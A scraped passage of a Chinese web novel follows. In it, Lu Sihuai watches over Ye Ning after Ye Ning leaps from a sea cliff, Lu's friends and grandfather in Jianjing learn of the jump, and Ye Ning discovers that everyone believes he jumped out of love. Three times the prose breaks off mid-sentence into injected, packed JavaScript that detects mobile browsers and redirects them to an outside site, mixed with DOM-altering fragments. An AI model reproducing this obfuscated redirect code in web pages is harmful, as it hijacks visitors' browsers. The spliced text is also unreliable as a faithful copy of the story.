动作很熟悉,叶宁恍神一瞬,然后想起来。 ——从海里刚上岸的时候,也有人这么用手抹去他眼睫残存的水渍。 叶宁丝毫没有察觉自己的眼眶不知道什么时候红了,他眨了眨眼,也没觉察出什么水汽,只觉得眼睛有些酸涩发胀,像是长时间泡在水里的遗留问题。 陆司淮收回手,直直看了他一会儿,然后淡声开口:“没骗我?” “什么?”叶宁下意识问。 他反应了一会,问得更具体:“没骗你…什么?” 叶宁自己都觉得好笑。 都这个时候了,在听到陆司淮这个问题的时候,他的第一反应竟然是——他骗陆司淮的事情太多了,陆司淮问的是哪件。 叶宁:“。” 人在最没有防备的时候,什么都藏不住。 陆司淮几乎一眼就看透叶宁在想什么,又是好气又是好笑。 “跳下去的确有原因,但并不是想伤害自己。” “这件事没骗我,是吗。” 原来是问这个,叶宁几不可察地松了一口气。 “嗯。”他答道。 房间重新安静下来,却是一种很平和的安静,不似之前那种凝滞。 楼下隐约传来说话声,像是翟文星他们回来了。 陆司淮往窗外看了一眼,起身,顺手将垂在床侧的被角往上一拢:“要睡觉还是下楼?” 应该下楼跟翟文星他们道个歉的,叶宁想。 可他现在只觉得疲惫。 像是经历一场长跑后骤然放松的虚脱感,叶宁额角抽疼得越来越厉害。 “我睡一会。”叶宁最终道。 或许真的很累,等陆司淮在阳台上吹了一会风,敛好情绪关窗进屋,床上的人已经睡着了。 他侧躺着,手搭在枕头上,虚虚垂在耳侧,身体半蜷,呼吸已经变得均匀。 一个很没有安全感的睡姿。 陆司淮静静看了一会,转身轻声出门。 他没下楼,而是径自走向二层走廊尽头的露天阳台。 陆司淮靠着墙,抽完一支烟,刚点燃第二支,身后传来姚博文的声音。 “医生检查怎么样?”姚博文往叶宁房间的方向看了一眼。 “没事。”陆司淮声音有些哑,像是抽了烟之后的干涩。 “那就好,还好那崖就十米,底下地势低,水又深,没什么碎石,”姚博文都不敢往深了想,跟着松了一口气,“那现在呢?” 陆司淮:“睡了。” 姚博文感受到陆司淮身上的烟气,又瞄了护栏上的烟灰缸一眼:“抽几支了,这么凶。” 陆司淮没回答,挟着烟的手懒散地搭在身后护栏上,垂着眼,视线又静又沉。 “接老爷子电话之前,你让我看着他,是早知道他会‘掉’下去?他跟你说什么了?”姚博文终是问出口。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056649|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没有。” 姚博文诧异:“那你为什么让我看着他?” 陆司淮抽了一口烟,默了几秒:“我说我也不知道,你信么。” 他语气很淡,眸色却深。 姚博文更加诧异。 陆司淮发觉自己越来越看不清叶宁这个人。 在巷子里淋着雨,对着几十双眼睛说爱他,在医院天台却茫然警惕地看着他,像是完全不认识。 毫不犹豫从悬崖跳下去,放任自己溺在水中,却又说没想伤害自己。 一个被如珠如宝养大的少爷,睡觉的时候却像只没有安全感的流浪小动物。 明明怕他,却又平静温和地捧着浴巾朝他走过来,抬手要给他擦头发。 桩桩件件,组合成自悖又自洽的一个叶宁。 陆司淮久违地想起那日在抄经堂和陆怀慈的对话。 “小叔,你说一个不认识你的人,突然说爱你,是为了什么。” “你这是遇到什么人了?” “遇到了一个骗子。” “你想从我这里得到什么答案。” “慧闻大师不给香客解惑吗。” “我从不解风月债。” 当时陆司淮只觉得叶宁这个人有意思,那双说谎的眼睛有意思,甚至带了点愉快的“恶劣意味”,任旁人误会,看着叶宁在自己眼皮子底下演爱他的戏码,想知道缘由,也想知道叶宁能演到什么程度。 可现在。 事情仿佛带上一种棘手的幽默。 他抽了半包烟,也没压下耳边的声音。 “对不起。” “没骗你什么。” “陆司淮,我不想说。” ……委屈又可怜。 陆司淮喉结滚了滚,他将剩下半截的烟头兀自摁灭在烟灰缸,虽然一身休闲衣物,整个人看起来却冷沉沉的,像被覆上一层阴影。 姚博文鲜少见到陆司淮情绪这么外放的时候。 他不合时宜地想起家中几个正值青春期、什么话都敢往外冒的小辈前段时间胡侃的娱乐话题,一个什么产自欧美同人群体的特殊世界观。 如果当今社会真有什么信息素的话,陆司淮现在的状态大概就处在易感期。 一身敛不住的压迫感。 姚总被自己天马行空的想法逗笑,摇了摇头,转而继续看着陆司淮:“所以叶宁是自己跳下去的?” 陆司淮没回答,但沉默就是回答。 姚博文认真道:“理由呢。” “他不想说。”这次陆司淮总算开口。 姚博文噎了一下,惊疑地看向陆司淮:“你就没问?” 以这人的性子,竟然就被这样的理由糊弄过去? 不应该吧。 陆司淮却只是转了转自己掌心中的打火机,片刻后,又回了一句:“他不想说。” 姚博文:“……” 姚博文心中闪过一个足够骇人的念头:“他想……?” 姚博文没有把那个“死”字说出来,但陆司淮听懂了。 “没有。”他道。 “你确定?”姚博文推了推眼镜,“那可是叶宁,如果真有什么吓人的念头,叶家董事长不得……” “嗯。”陆司淮又从烟盒里弹了一支烟出来,咬着,这次没点。 “那就好,”姚博文朝他伸手,“也给我一根。” “对了,”姚博文挡着风点完烟,“还有件事,关于徐梁瑞的。” 姚博文三两句话将来龙去脉讲完,然后发觉一件事。 ——在听到云想抢了溪扬那块地,徐梁瑞给了海乘一张卡,让教练将他从崖边推下去,在所有人面前狼狈扫地,甚至说他是来云江插旗摆道的新家子这一系列烂事的时候,陆司淮全程无波无澜,情绪没有丝毫起伏。 唯独在听到徐梁瑞当着翟文星他们的面,承认自己对叶宁起心思的瞬间,他转着打火机的动作停住。 18.我们陆总体贴大度 阳台安静一瞬。 姚博文盯着陆司淮手上的打火机看了一眼,挑了挑眉:“你打算怎么处理?” “翟文星打算怎么处理。”陆司淮看起来兴致不高。 姚博文转了个身,双手撑在护栏上,说:“那个教练和海乘我做主辞退了,有这种歪心思的人,翟文星不会留着。” 翟文星不会留着,换句话说就是,这两人以后或许还能在云江混下去,但想回到这种现在这种圈子,几乎没可能。 陆司淮应了一声。 “至于徐梁瑞,”姚博文顿了下,“叶宁坠海的时候,他跟我一起跳下去的,看着挺着急,当然,这件事不影响你处理的结果,我只是觉得有必要跟你说一声。” “之后怎么处理,还是得看你。” 姚博文继续道:“翟文星那边说这事有他的责任,毕竟那个海乘和教练员都是他底下的,所以他叫停了和徐梁瑞的一个海砂运输合作。” “据我了解,这条大宗货品线算是徐梁瑞回国之后接手的第一个项目。” “翟文星叫停合作,对大溪没什么影响,但对徐梁瑞损失应该不小。” “不过翟文星和徐梁瑞情分还是在的,用一条货品线保了徐梁瑞的脸面,不让这事捅到徐家老爷子那里。” 陆司淮只是听着,没什么表情。 说到这里,姚博文想到了什么,笑了下:“严格说起来,我们‘受委屈’的陆总也是沾了叶少的光了。” 陆司淮在云江这两年,大大小小的暗算没有一百也有八十,大多时候,只要没真影响到云想和身边人,矛头只对着陆司淮自己,他很少动真格。 徐梁瑞这伎俩和之前一些阴狠手段比,根本不够看,翟文星的道歉已经足够有诚意,甚至说得上有些过于有诚意了。 姚博文知道翟文星是为了谁,陆司淮也知道。 “你说呢。”姚博文言尽于此。 “说什么。”陆司淮重新转着手上的打火机,偶尔发出一两声擦火声。 “翟文星那边已经给出表示了,你打算怎么处理徐梁瑞,”翟文星问,“你想怎么解决,早点跟我说。” “翟文星的意思是,这事是徐梁瑞有歪心思没跑,不管后续你想怎么处理,等会儿他先带徐梁瑞过来跟你和叶宁道歉,然后再……” “叮”一声,金属制打火机盖子被打开的清脆响声打断姚博文的声音。 姚博文看过来。 陆司淮咬在唇角的烟最终被点燃。 “他在睡,”天光渐暗,陆司淮眉眼洇在浅淡的烟气与光线中,他有些突兀地说了一句,然后转身朝着房间的方位走,留下一句,“别吵他。” 姚博文愣了一下,只一下,露出一个意味深长的笑,朝着陆司淮的背影招了招手:“知道了。” 收到陆司淮的意思,姚博文三两口抽完烟,从口袋里拿出待命已久的手机,给翟文星发去消息。 【翟少,我们陆总的意思是,道歉就不用了,毕竟他也没被“不小心”推下水,至于徐少,考虑到前天他在Vegas熬这么晚,游轮行程又这么满,早点送他回家休息吧。】 正坐在一楼的翟文星翘着脑袋等了半天,总算收到消息。 他连忙翻开短信一查。 这短信没有激烈字眼。 端端正正的每行上都写着“我们陆总体贴大度”几个字,翟文星横竖睡不着,仔细看了十分钟,才从字缝里看出来,满篇都写着十七个字。 ——让徐梁瑞在叶宁眼前消失,我们陆总吃人。① 翟文星:“…………” 夕阳余晖照落在露天阳台,别墅亮起灯,许是怕吵到叶宁,一群人都在一楼和庭院里待着,没人上楼。 陆司淮吹了会风,等身上烟气散掉几分,才推门走进房里。 床上的人睡得正熟,仍旧是没有丝毫安全感的睡姿,整个人半蜷着。 陆司淮走进浴室,压下香氛泡沫净完手,将烟味洗净,才从浴室走出来。 他轻声走到床边,俯身用指背去探床上人的体温。 没发热。 几秒后,陆司淮收回手,将床头夜灯点开,走出房间。 二楼走廊灯暗着,陆司淮靠着门上,用拇指摩了一下还残存着叶宁体温的指背,没说话。 他静静站了小半分钟,拿出手机,拨出一个号码。 陆司淮接起电话走远,而通话屏幕上显示着两个字:小叔。 - 而正在打电话陆司淮和熟睡的叶宁都不知道的是,与此同时,云江同城新闻板块上横空出世一个词条:#不愧是情人崖# 莫名其妙一个词条,原本没引起什么火花,直到有知情人士出来说这句话是仲俊豪发在他朋友圈的,除了仲俊豪之外,今晚云江金字塔顶端那一圈继承人们不约而同都发了这么一条没头没尾的朋友圈。 这一下八卦浓度瞬间超标,就在一群吃瓜群众嚷着尽快跟进的时候,下一秒,这个词条消失得无影无踪。 仲俊豪他们也没想到,只是因为没忍住,在朋友圈发了一条“情人崖牛逼”的消息,都能整出这么多乱子。 群里当时还有人发了一张陆司淮抱着人往别墅走的背影,值得庆幸的是,这照片没有流出去。 仲俊豪他们连夜撤下词条。 然而,千算万算,还是算漏了一个地方——建京。 建京,晚上八点,溇山,陆家老宅。 宅院西厅会客区,雕工精巧绝伦的大红酸枝镶黄杨木沙发旁,一群穿着正装的年轻人正以钻研政策利好股市行情走势的架势,研究一张照片。 “我说,这应该是…陆某吧。” “如果我眼睛没瞎的话,应该是。” “两个多月没见,在云江跳崖了?” “……” 一行人正一脸复杂继续琢磨照片,力图找到这人不是陆某的证据,那头实木楼梯上已经下来一个人。 陆老爷子穿着一身灰色龙纹提花宋锦,精神矍铄地走下来。 刚刚还围得四仰八叉的一圈人连忙起身,恭而有礼地颔首致意,齐齐喊了一声“爷爷”。 “爷爷,我们是不是吵到你了?” 陆成业摆了摆手,让他们坐下:“没有,听到动静了,下来看看,你们玩你们的。” 他走过来,看着面前打了一半的牌桌,问:“谁赢了?” “打着玩呢,没下码。”回答陆成业的叫邵宏安。 这一圈无一例外都是跟陆司淮从小一起长大的发小,虽然后来各自发展,但感情从始至终都很好,回溇山就像。回家 邵宏安身边的段开听着这句“打着玩呢”,嘴角不自觉抽搐了一下:“我那块鹦鹉螺输给鬼了?” “是谁第一把天胡做飘了,非要押块鹦鹉螺助兴,现在输了开始乱冤枉人了。”又一人说道。 用鹦鹉螺助兴的段开本人瞬间龇牙咧嘴。 “就输块表,拉着个脸做什么,”老爷子觑了麻将桌角落的那块鹦鹉螺一眼,说,“明早走的时候去司淮表柜里挑一块。” 听到陆某的名字,所有人齐齐闭嘴。 表不表的都无所谓,他们几个人之间,别说一块表了,进谁家车库把车开走都是常事。 主要是老爷子冷不丁提起陆某,段开他们怕一个嘴快说出什么不该说的来。 以前嘴再快也就一些陈芝麻烂谷子的事,可今天…… 所有人不约而同想起那张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14068905|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照片。 “我给他买了这么多表也不见戴,成天没个人影,”老爷子哼了一声,“放着也白放,平白占地。” 陆成业看着屋子这一圈器宇轩昂、事业有成、一看就能子女绕膝晚年美满的年轻人,再想想三过家门而不入,入了还说顺道入一入的自家孙子,心脏疼。 老爷子越想越气,于是对着段开嘱咐。 “拿两块走。” “拿最贵的。” 这断子绝孙的倒霉孙子。 “反正也没老婆没孩子,没人继承,拿完拉倒。” 大堂瞬间鸦雀无声。 “洗牌,陪老头子我开一局。”老爷子随手摘下个扳指,放在一边。 段开一眼就看出这扳指的来历。 上一次露面是在苏纳德拍卖会。 “爷爷,这扳指原来被你拍走了啊,”段开笑得见牙不见眼,“我外公之前看上了,还让我问问来着,结果被拍走了,我说谁这么有眼光呢。” “前两天刚送过来,加佣四百万,”老爷子随口道,示意段开坐下,“你外公喜欢?那等下赢了跟楼上的手表一起带走。” 段开一听话题差点又回到陆某身上,一下子坐下,嘿嘿笑着,转移话题:“那爷爷让让我,小小放个水,让我在外公面前长长脸。” 段开长得人高马大,但惯会哄人,是他们这一圈人中最得长辈喜欢的。 老爷子被逗笑,牌局一派轻松。 “对了,刚我下来的时候,你们这么热闹,在聊什么。”陆成业摸完麻将,打出一张“西风”,随口问。 所有人:“……” 桌上陷入安短暂的寂静,这寂静没持续多久,只几秒,立刻闹腾起来。 “没什么没什么,就闲聊。”一群人连忙打哈哈,迅速摸牌打牌,试图将老爷子注意力转移。 “对啊,就还是那些。” “东风。” “前段时间不是批了一个新的填海政策吗,就随便聊聊。” ”南风!” “碰,”老爷子气定神闲,“我听到了什么跳崖。” 所有人:“……” 桌上牌局四平八稳,桌下段开的脚都快被踩烂了。 [你不是最会哄人吗,死嘴,快说啊!] [靠北!大哥!“跳崖”这么离谱的事你让我怎么编!] [如果你想激怒我,那么你成功了。] [快快快,随便说点什么,再不说爷爷就要起疑了。] [十秒内,我要你想出解决办法。] [……] 一群人以眼神疯狂交流,就在邵宏安眼睛都快抽过去的时候,段开终于编好了瞎话。 “没有,爷爷你听错了,不是跳崖,我们说的是调压,前段时间老齐不是在港岛注资了一家私人疗养院吗,我们刚好说到设备呢,他准备进一批VPV分流调压系统设备。” “是吗。”陆成业轻飘飘看过来。 其余人:“是啊是啊。” “老齐”齐文栋:“……” 这他么都能让你编出来。 最关键的是他还真他么在港岛注资了一家私人疗养院,也真他么需要进一批VPV分流调压系统设备。 齐文栋表情端得极其自然,抬手打出一张“九筒”,开口道:“是的爷爷,最近荣生医疗新推出一批设备,都不错,我们刚好聊到。” “砰”一声,陆成业一掌拍在加厚静音的长绒麻将机桌布上:“你们一个两个,穿开裆裤的时候就在我跟前晃悠了,屁股一撅,上下嘴皮一碰,我就知道你们要放什么屁!” 所有人:“…………” 陆成业大喝一声:“说!谁闯祸了!” 19.别太爱了 陆成业力道之大,麻将桌都被震得一抖。 齐文栋还想垂死挣扎,他咬牙:“没闯祸,就……” 陆成业一个眼刀扫过去。 齐文栋成功噤声。 “爷爷,是意外,应该是…有原因的。”邵宏安率先举起白旗。 “是意外就报警,生命可贵,无论为着什么,都不是跳崖的理由!” 段开“呃”了一声,没忍住:“说是…为爱跳崖。” 陆成业放在桌侧的手都顿住:“荒谬!年纪轻轻不学好,学这寻死觅活的一套!” 陆成业简直不知道该说什么好。 这些年看圈子里一些小年轻为爱生为爱死的,偶尔也觉得像自家倒霉孙子那样断子绝孙的命也挺好,起码不做伤天害理的事,清静。 陆成业还以为又是哪家的孩子折腾,气不打一处来:“这些混小子,就该给他们送到庙里去,批个什么断子绝孙的命,然后切了干净,也省得糟蹋好人家的姑娘!” 所有人:“……” 虽然还是那句话,话糙理不糙,但爷爷你这话也着实太糙了点。 “说,这次又是哪家的小子。”陆成业又拍了拍桌子,势必要个结果。 段开左看看,右看看,犹豫两下:“爷爷,您说哪个?” 哪个? 老爷子大为震撼:“还不止一个?!” 段开麻木地“啊”了一声:“您说的是跳的那个,还是…救的那个。” 老爷子:“?” 陆成业头昏脑涨,朝着段开摆了摆手:“先说跳的。” 段开已老实:“跳的那个,是叶家的。” 陆成业:“叶家?” 段开“嗯”了一声:“云江叶家,叫叶宁。” 云江叶家…… 陆成业对叶宁没什么了解,但他爷爷叶绍章的名字倒是常听人提起。 “我问清楚了,情况有点复杂,叶家这位小少爷其实是以为…那谁掉下去了,他才跳下去的。”那头邵宏安犹豫片刻,开口。 陆成业没留意邵宏安口中被刻意压低的“那谁”两个字,只道:“所以那孩子是去救人的?” 邵宏朗点头:“嗯。” “那是个好孩子,”陆成业继续问,“另一个呢,不是说为爱跳崖吗?他跳下去救的是谁家的姑娘。” 一片死寂。 麻将桌上终于没再发出任何动静。 良久,久到溇山的风停了又起,起了又停,段开才闭了闭眼睛,视死如归地开口:“那人姓陆。” “陆家的?”陆成业这下真被问倒了,“哪个陆家?” 段开魂归天外。 他沉默许久,再开口时,声音平静如上坟。 “建京,陆家。” 不远处管家没拿稳自己手里的茶壶,“砰”一声,落在红木桌上。 陆成业差点以为自己听错了。 如果建京没有第二个陆家的话,那据他所知,他们陆家最小的姑娘,是自己的二女儿,芳龄49,已婚,目前正任职集团行政主席兼董事总经理,常年不在国内。 而孙辈这一支,没有姑娘,只有两个小子,一个小外孙,姓秦,还有一个断子绝孙命的孙子。 陆成业怀疑是段开他们记岔了。 “陆家哪有什么姑娘?” “那个,”段开咽了口唾沫,“爷爷,不是姑娘。” 不是姑娘,姓陆,在云江,为爱跳崖…… 陆成业眼睛从半眯着到睁开,再到睁大,最后怒目圆睁如夜叉,只用了十秒。 片刻后,宅院大堂里响起一声气如洪钟的“荒谬”! 一分钟后。 远在云江汉马岛的陆司淮接连收到十几条消息。 【跳崖的事已经被爷爷知道了,你自求多福!】 【不是兄弟不帮你!这次真顶不住了!】 【危危危!】 满屏的感叹号中还夹着一条“爷爷让我去你房间偷表”。 又一分钟过去,陆司淮接到了一个电话。 屏幕上显示着来电号码:爷爷。 陆司淮不知道事情是怎么传到建京的,但猜到了这个电话要讲什么。 他叹了一口气,接起电话。 半小时后,电话仍然没有挂断的迹象。 陆司淮倒也没恼,解释清楚事情缘由,老爷子说什么他答什么,敷衍得很有诚意。 电话那头陆成业的声音还噼里啪啦响着,陆司淮抬手揉了揉酸胀的太阳穴,一转身,视线微顿。 隔壁露天阳台上透出了灯光。 “爷爷。”陆司淮对着手机那头喊了一声。 “干嘛。”陆成业大致知道了自家倒霉孙子在云江差点被人推下水的事,又是生气又是心疼,可偏偏陆司淮丝毫不在意,话里话外都是让他别插手的意思,所以声音都没什么好气。 “有事,挂了。”陆司淮淡声道。 陆成业更气了:“我还没说完。” 虽然陆成业嘴上三不五时就要嚷一句“没大没小”,但这一圈孩子其实从小就很有规矩,哪怕是平日最玩世不恭的段开,在长辈跟前都端言得很,陆司淮自然也是,鲜少有这种打断他说话的时候。 “我知道。”陆司淮的声音在电话里显得有些失真。 陆成业:“那还让我挂……” 陆司淮:“他醒了。” 陆司淮转身朝着叶宁房间的方向走,再一次打断陆成业的对话,声音也更淡,“医生说可能会发热,我去看看。” 陆成业:“发……” 陆司淮:“说了这么久,你也去喝杯茶。” 陆成业:“我不……” 陆司淮:“就这样,挂了。” 陆成业一年被打断说话的次数都没这半分钟多。 还不待他发作,下一秒,陆成业听到一阵无情的忙音。 陆成业:“……” 荒谬! - 陆司淮不知道溇山那头的陆成业正捂着心口喊倒霉孙子,此时已经站在叶宁房间门口。 他推开门,走进去,叶宁正坐在床上盯着手机怔神。 许是因为长时间半埋在被子里,脸被蒸得发红,他头发有些乱,可眼神很专注,从始至终都停留在手机上,连陆司淮什么时候走到床边都不知道。 陆司淮静静看了一会,叶宁仍旧没有察觉房间多了一个人。 “抬头。”陆司淮淡声开口。 叶宁凝固的思绪被这一声轻巧打断。 他抬起头。 陆司淮视线在他脸上扫过。 眼尾仍旧是红的,也不知道是睡了一觉还惺忪着还是在发热。 “有没有哪里难受。”陆司淮问。 “没有。”叶宁下意识回。 下一秒,陆司淮抬起手,用微曲的食指中指指背贴在叶宁脸侧,短暂停留片刻,收回手。 没发热。 叶宁脸侧似乎还残留着陆司淮的体温,微凉,还带着点香氛的气息。 他动作很快,也很自然,叶宁只来得及眨了眨眼。 陆司淮收回手的时候,视线不经意扫过叶宁手机屏幕,正停留在一个最近通话界面。 一片红,全是未接来电。 “谁的电话?”陆司淮问。 陆司淮的话让叶宁思绪重新回到手机,他握着手机,沉默片刻,低着头,说:“爷爷。” 其实远不止爷爷,秦乐舟、助理都打了很多电话,但最让叶宁感到茫然的还是爷爷的消息。 ——爷爷知道他意外落水了,正在赶回来的路上。 叶宁无意识抬起手,摸了摸耳钉。 陆司淮顺着叶宁的动作,同样看向那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14085898|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枚冷银色的耳钉,耳钉旁还有一颗若隐若现的红痣,颜色很鲜艳。 叶宁正出神,门口传来一声敲门声,一同响起的还有一道熟悉声线:“方便进来吗?” 是翟文星的声音,叶宁收拾好情绪,说:“方便。” 翟文星推门走进去,手上端着一个托盘,上头有粥和一些点心。 他不出意料地看见陆司淮。 从叶宁睡觉后,陆司淮就一直待隔壁房间,像守着什么似的,没下过楼,翟文星来喊了两次陆司淮都回绝了。 “那个,我们在楼下吃烧烤呢,”翟文星指了指阳台的灯,解释:“看到房间灯亮了,想着你也该醒了,就上来送点吃的。” 叶宁精神好了几分,看到翟文星,脑海便浮现起下午情人崖边的事,当时他在水里并不是完全没有意识,隐约能感觉到有很多人扎进水里。 叶宁没有犹豫,开口道歉:“抱歉,今天下午麻烦你们了。” 翟文星知道叶宁说的是什么,笑了下:“没事,本来也要下水的,仲俊豪他们几个还说要谢谢你呢,下午肾上腺素飙升,比跳20米都要刺激。” 说完,翟文星有意无意看了陆司淮一眼,猜着他大概率还没有跟叶宁说起徐梁瑞的事,想了想,还是不想煞风景,于是把吃食放在一旁的茶几上,说:“你一天都没吃什么东西,先垫垫肚子吧,厨房还熬了一些祛寒的炖品,等下给你当夜宵。” 叶宁:“谢谢。” “客气。”翟文星说完,补了一句“那我不打扰了”,转身便想离开。 然而将将走到门口,翟文星压在门柄上的手迟迟压不下去。 房间里适时响起一道铃声,是从陆司淮身上传来的。 陆司淮手机拿得低,叶宁顺着屏幕扫到一眼。 “秦乐舟的电话?”叶宁不确定。 陆司淮应了一声:“嗯。” 叶宁想都没想:“你快接。” 陆司淮本来想挂断的手短暂停顿,看着叶宁催促的眼神,最终拿着手机走向阳台。 正站在门口的翟文星看到这一幕,挣扎小半分钟,一转身,从小玄关走过来。 “怎么了?”叶宁一抬头,就看到突然折返的翟文星。 翟文星快步走到叶宁床边,瞄了阳台一眼,确认陆司淮还在打电话之后,小声又犹豫地开口:“那个,叶宁……” 叶宁:“嗯?” 翟文星表情有些复杂:“我知道关心则乱,但我还是必须得说一句……” 叶宁认真听着:“嗯,你说。” “你看陆总的体格,就算真掉进去了,一时半会也不会出什么岔子,岸上这么多人,你喊一声,其实我们都能帮忙。” 叶宁一脸茫然。 经过一天的相处,翟文星是真挺喜欢叶宁的性子,语气很认真:“我知道你很喜欢陆司淮,但就算再喜欢,也要顾及自己的安全,不能听到他掉下去就跟着往下跳,还一点防护措施都不做,多危险。” “晚上你在睡觉,联系不上人,叶老董事长都快急冒烟了,打了好几个电话。” 叶宁一时都没顾得上翟文星那句“叶老董事长”,语气更茫然:“你说什么?” 翟文星顿了下:“我说晚上你在睡觉不知道,叶老……” “不是,”叶宁打断他,“上一句。” 什么叫做“听到他掉下去就跟着往下跳”。 翟文星叹了一口气:“我说我知道你很喜欢陆司淮,但就算再喜欢,也要顾及自己的安全。” 叶宁面无表情:“我没……” 翟文星拍了拍叶宁的肩膀,打断他的话。 再开口时,翟文星语气极其沧桑:“我知道,反正就…你也应该清楚,像我们这种家庭,很多事情身不由己,感情这东西,反正…唉,就…你也别太爱了。” 叶宁:“……?” 20.你不放心叶宁? 电话那头的秦乐舟知道叶宁醒了,并且他哥现在就在叶宁房间里之后,没多说什么便挂断电话。 两分钟后,陆司淮推开阳台落地窗走进来。 翟文星已经走了,剩下坐在床上出神的叶宁。 和之前那种茫然不同的是,这次叶宁脸上的表情很复杂。 显然是听到了什么。 坐在床上的叶宁听到落地窗推动的声音,抬起头来。 两人对视。 陆司淮俯身将茶几上的粥端过来。 刚刚他在阳台接电话不假,但也不是完全没注意房间内的状况,自然看见了翟文星半路折返的举动。 叶宁看着陆司淮,表情愈加难以言喻,他缓顿很久,直到陆司淮将粥放在他手上,他主动开口:“你刚刚打电话的时候,翟文星回来说了一些下午的事。” “看到了,”陆司淮只应了一声,似是并不太在意,只道:“把粥吃了。” 瓷碗内小米的香气和枸杞红糖等食物混在一起,叶宁拿着勺子搅动两下,香气更甚。 他没什么胃口,又舀了两下。 叶宁想问的很多。 所以翟文星他们以为自己从情人崖跳下去是为了救陆司淮? 所以现在所有人都以为他们两个有不清不楚的关系? 所以现在所有人都知道他喜欢陆司淮喜欢到毫不犹豫跟着跳崖的程度? 可他最终说出口的,却只有一句。 ——“你以后离徐梁瑞远点。” 叶宁说完,便安静下来,等着陆司淮的回答。 在说这话之前,他做过短暂的预想,以陆司淮的性子,大概会说“你担心徐梁瑞找我的麻烦”,或者追根溯源更深入点,说“该离徐梁瑞远点的不是我是你”。 叶宁都做好了回答和解释的准备。 穷根究底,陆司淮是因为他的关系被牵进这场意外,他该道个歉。 然而,叶宁没想到的是,陆司淮只是轻又短促地笑了笑,然后应下:“好。” 叶宁舀粥的手一顿。 良久。 “嗯。”叶宁垂眼吃了一口粥。 一碗粥下肚,叶宁精神好了不少,但他没下楼,只在阳台上和庭院里正举行烧烤趴的翟文星他们打了个招呼。 庭院里很热闹,但二楼隔音很好,叶宁坐在阳台的藤椅上吹了一会风,重新进屋。 因为心里记挂着爷爷回国的事,叶宁这个晚上睡得不算安稳。 翌日,悬在叶宁心口的高压线终于砸落下来。 “叶老董事长飞机今天晚上落地源化国际机场,说派人来接你,下午游轮返航回迁港码头,”翟文星跟叶宁说,“也好,你回去好好休息一下,看你精神都不好。” 叶宁坠海的事最终还是没瞒住,昨天叶宁在二楼休息的时候,翟文星的电话都要被打爆了,他妈他爸一连打了四五个,隔半个小时就要问问叶宁的情况,最离谱的是他外公,因为和叶老董事长私交挺好,差点没半夜过来。 好在游轮对这群富家子弟来说不是什么新鲜玩意,两天一夜,该玩的都已经尽兴。 因为要见爷爷,叶宁一整天都在调整状态,唯一让他分点神的,就是他没在船上看到徐梁瑞,随口问了翟文星,才知道徐梁瑞昨晚坐游艇回去了。 叶宁没太在意。 或许是生怕赶不上叶老董事长的飞机,翟文星下了死命令,来时慢悠悠溜达的游轮,返程简直就像坐了火箭,还没入夜,游轮就已经入港。 然后…翟文星发现赶太快了,叶家的车还没开到。 翟文星:“……” “今天水路畅通,但陆路可不行啊,翟少你是不是忘了今天是6号,假期结束的返程潮。”仲俊豪玩笑着提醒。 翟文星这才反应过来。 路上本就堵,等叶家司机开过来再把叶宁接回去,还不知道得什么时候。 云江天气多变,昨天还高温预警,今天温度已经骤降,再加上是港口,风大,翟文星看着精神一直不大好的叶宁,直截了当开口:“我开车来的,车就停在那边,我先送你。” “我记得叶老董事长别墅在饶水山是吧?”翟文星问,“哪一栋来着?” 不等叶宁回答,身后有一人已经开口:“不是吧翟少,这么孤陋寡闻?叶家的别墅我都知道,没有哪栋,整座山上就一栋别墅,因为整座山都是叶家的。” 翟文星:“我还真忘了,行。” 翟文星正披外套打算送人,倪桐从身后慢悠悠走过来,拉住他,然后朝着前方某个方位扬了扬下巴。 翟文星不明所以,抬头望过去—— 昏暗光线中,一辆价值不菲的黑色迈巴赫朝着这边开过来,两束车灯将码头沿岸的岩块擦亮。 翟文星嘴角抽了一下。 忙着嘱咐游轮开快点,都忘了,送人这事怎么也轮不到他。 陆司淮的车在叶宁面前停下,停稳,副驾驶车窗匀速降下。 叶宁借着码头不算明亮的光线看见车内陆司淮的轮廓。 叶宁:“……” 叶宁没动,还想说什么,翟文星已经先他一步,伸手拉开副驾驶车门:“快上车,风这么大,吹感冒了我可不好跟叶老交代。” 倪桐几人也在后头搭腔。 叶宁不知道怎么就变成让陆司淮送他回去了,张了张口,想说他可以等自家司机,可一转身,身后一群人都睁着大眼睛盯着这边,虽然没有说话,可眼神明晃晃写着几个字:你为什么还不上车? 叶宁:“……” 因为这不是我的车。 翟文星视线在驾驶座和叶宁身上流转一眼,几秒后凑过来,对着叶宁开口:“是不是我昨晚的话让你们……” 叶宁本来都快忘了,翟文星这么一提,又冷不丁想起那句“别太爱了”。 “…不是。”叶宁好像看到了第二个秦乐舟,他有点想把翟文星的嘴巴捂上。 “那是又吵架了?” 